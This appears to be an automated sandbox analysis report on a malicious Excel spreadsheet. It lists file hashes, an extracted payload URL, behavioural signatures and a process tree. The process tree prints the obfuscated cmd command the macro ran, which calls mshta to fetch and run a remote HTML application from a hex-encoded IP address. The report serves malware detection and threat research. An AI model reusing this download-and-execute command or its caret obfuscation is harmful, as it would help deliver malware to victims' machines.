Analysis
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max time kernel
133s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 19:45
Behavioral task
behavioral1
Sample
e6a99c356a6b6d7759ee7c830dffd93ab24d00d503abc2ad22e3dfc286b66579.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
e6a99c356a6b6d7759ee7c830dffd93ab24d00d503abc2ad22e3dfc286b66579.xls
Resource
win10v2004-20241007-en
General
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Target
e6a99c356a6b6d7759ee7c830dffd93ab24d00d503abc2ad22e3dfc286b66579.xls
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Size
113KB
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MD5
a9e7c90d8709f818d5c6e5c914bc4f6d
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SHA1
5e1091bed8a354a7e2391cb2a6d0b0821bf5a0ac
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SHA256
e6a99c356a6b6d7759ee7c830dffd93ab24d00d503abc2ad22e3dfc286b66579
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SHA512
fef543109cf780a962932d8df570678dc7fcf5ffd7e0e78c0a890bd30fa34ef55cad29ebaa5280b9959f55b758239454446ff1b498ad3095aefd7412c2036567
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SSDEEP
3072:yW+nBqmsk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIXxe53lGvFTQ3IzxgdrvxpU0S:t+nBqmsk3hbdlylKsgqopeJBWhZFVE+S
Malware Config
Extracted
http://185.7.214.7/fer/fe5.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2856 3000 cmd.exe 81 -
Blocklisted process makes network request 1 IoCs
flow pid Process 28 1616 mshta.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2856 cmd.exe 912 PING.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Delays execution with timeout.exe 1 IoCs
pid Process 4576 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 912 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3000 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE 3000 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3000 wrote to memory of 2856 3000 EXCEL.EXE 83 PID 3000 wrote to memory of 2856 3000 EXCEL.EXE 83 PID 2856 wrote to memory of 912 2856 cmd.exe 86 PID 2856 wrote to memory of 912 2856 cmd.exe 86 PID 2856 wrote to memory of 4576 2856 cmd.exe 91 PID 2856 wrote to memory of 4576 2856 cmd.exe 91 PID 2856 wrote to memory of 1616 2856 cmd.exe 94 PID 2856 wrote to memory of 1616 2856 cmd.exe 94
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e6a99c356a6b6d7759ee7c830dffd93ab24d00d503abc2ad22e3dfc286b66579.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\SYSTEM32\cmd.execmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l2⤵
- Process spawned unexpected child process
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\system32\PING.EXEping google.com3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:912
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C:\Windows\system32\timeout.exetimeout 43⤵
- Delays execution with timeout.exe
PID:4576
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C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe5.html3⤵
- Blocklisted process makes network request
PID:1616
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